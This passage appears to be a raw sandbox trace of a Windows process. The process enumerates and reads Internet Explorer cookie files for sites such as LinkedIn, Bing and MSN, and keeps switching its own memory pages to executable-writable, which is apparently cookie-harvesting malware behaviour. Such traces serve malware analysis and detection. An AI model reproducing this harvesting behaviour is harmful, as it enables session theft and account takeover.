returned 0x0 [0163.419] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40f000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40f000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.419] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.420] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.420] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0a09de0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0cdd800, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0cdd800, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x19d, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@serving.experianmarketingservices[1].txt", cAlternateFileName="AEAB5A~1.TXT")) returned 1 [0163.421] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@serving.experianmarketingservices[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@serving.experianmarketingservices[1].txt")) returned 0x2020 [0163.421] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@serving.experianmarketingservices[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@serving.experianmarketingservices[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.421] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x19d [0163.421] ReadFile (in: hFile=0xf4, lpBuffer=0x1fceb84c, nNumberOfBytesToRead=0x19d, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fceb84c*, lpNumberOfBytesRead=0x1e7df6cc*=0x19d, lpOverlapped=0x0) returned 1 [0163.422] CloseHandle (hObject=0xf4) returned 1 [0163.423] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05934a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd05934a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd05934a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x11f, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@smartadserver[1].txt", cAlternateFileName="AE50D4~1.TXT")) returned 1 [0163.423] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@smartadserver[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@smartadserver[1].txt")) returned 0x2020 [0163.423] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@smartadserver[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@smartadserver[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.423] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x11f [0163.423] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf4728, nNumberOfBytesToRead=0x11f, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf4728*, lpNumberOfBytesRead=0x1e7df6cc*=0x11f, lpOverlapped=0x0) returned 1 [0163.425] CloseHandle (hObject=0xf4) returned 1 [0163.425] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd09e3c80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd09e3c80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd09e3c80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@tapad[2].txt", cAlternateFileName="AE5017~1.TXT")) returned 1 [0163.425] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@tapad[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@tapad[2].txt")) returned 0x2020 [0163.425] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@tapad[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@tapad[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.425] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0xc6 [0163.425] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf4728, nNumberOfBytesToRead=0xc6, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf4728*, lpNumberOfBytesRead=0x1e7df6cc*=0xc6, lpOverlapped=0x0) returned 1 [0163.427] CloseHandle (hObject=0xf4) returned 1 [0163.427] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd2c56e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0x1ab527c0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1ab527c0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@track.adform[2].txt", cAlternateFileName="AE650D~1.TXT")) returned 1 [0163.427] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@track.adform[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@track.adform[2].txt")) returned 0x2020 [0163.431] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.431] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.432] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.432] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@track.adform[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@track.adform[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.432] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0xb1 [0163.433] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.433] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.434] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.434] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf4728, nNumberOfBytesToRead=0xb1, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf4728*, lpNumberOfBytesRead=0x1e7df6cc*=0xb1, lpOverlapped=0x0) returned 1 [0163.435] CloseHandle (hObject=0xf4) returned 1 [0163.435] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.436] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40f000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40f000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.436] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.437] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.437] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd056d340, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd056d340, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd056d340, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x57, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@turn[1].txt", cAlternateFileName="AE662F~1.TXT")) returned 1 [0163.438] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@turn[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@turn[1].txt")) returned 0x2020 [0163.440] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@turn[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@turn[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.441] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x57 [0163.441] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf2aa0, nNumberOfBytesToRead=0x57, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf2aa0*, lpNumberOfBytesRead=0x1e7df6cc*=0x57, lpOverlapped=0x0) returned 1 [0163.442] CloseHandle (hObject=0xf4) returned 1 [0163.442] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1af0aa20, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1af0aa20, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1af0aa20, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@w55c[2].txt", cAlternateFileName="AE15B2~1.TXT")) returned 1 [0163.442] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@w55c[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@w55c[2].txt")) returned 0x2020 [0163.446] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.447] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.447] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.448] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@w55c[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@w55c[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.448] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x59 [0163.448] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.448] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.449] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.449] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf4800, nNumberOfBytesToRead=0x59, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf4800*, lpNumberOfBytesRead=0x1e7df6cc*=0x59, lpOverlapped=0x0) returned 1 [0163.451] CloseHandle (hObject=0xf4) returned 1 [0163.452] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.452] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40f000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40f000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.453] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.453] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.454] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xccfcbb60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xccfcbb60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xccfcbb60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x75, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@www.bing[1].txt", cAlternateFileName="AETADZ~1.TXT")) returned 1 [0163.454] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@www.bing[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@www.bing[1].txt")) returned 0x2020 [0163.458] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.458] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.459] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.460] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@www.bing[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@www.bing[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.460] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0x75 [0163.460] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.460] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.461] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.461] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf4974, nNumberOfBytesToRead=0x75, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf4974*, lpNumberOfBytesRead=0x1e7df6cc*=0x75, lpOverlapped=0x0) returned 1 [0163.463] CloseHandle (hObject=0xf4) returned 1 [0163.463] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.463] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40f000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40f000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.464] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.464] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.465] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd92b200, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd92b200, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd92b200, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@www.linkedin[1].txt", cAlternateFileName="AE311C~1.TXT")) returned 1 [0163.465] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@www.linkedin[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@www.linkedin[1].txt")) returned 0x2020 [0163.465] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@www.linkedin[1].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@www.linkedin[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0xf4 [0163.466] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df6d0 | out: lpFileSizeHigh=0x1e7df6d0*=0x0) returned 0xa8 [0163.466] ReadFile (in: hFile=0xf4, lpBuffer=0x1fcf4928, nNumberOfBytesToRead=0xa8, lpNumberOfBytesRead=0x1e7df6cc, lpOverlapped=0x0 | out: lpBuffer=0x1fcf4928*, lpNumberOfBytesRead=0x1e7df6cc*=0xa8, lpOverlapped=0x0) returned 1 [0163.467] CloseHandle (hObject=0xf4) returned 1 [0163.467] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df774 | out: lpFindFileData=0x1e7df774*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82c3e360, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x82c3e360, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x82c3e360, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x3eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@www.msn[2].txt", cAlternateFileName="AE6390~1.TXT")) returned 1 [0163.468] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@www.msn[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@www.msn[2].txt")) returned 0x2020 [0163.468] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\aetadzjz@www.msn[2].txt" (normalized: 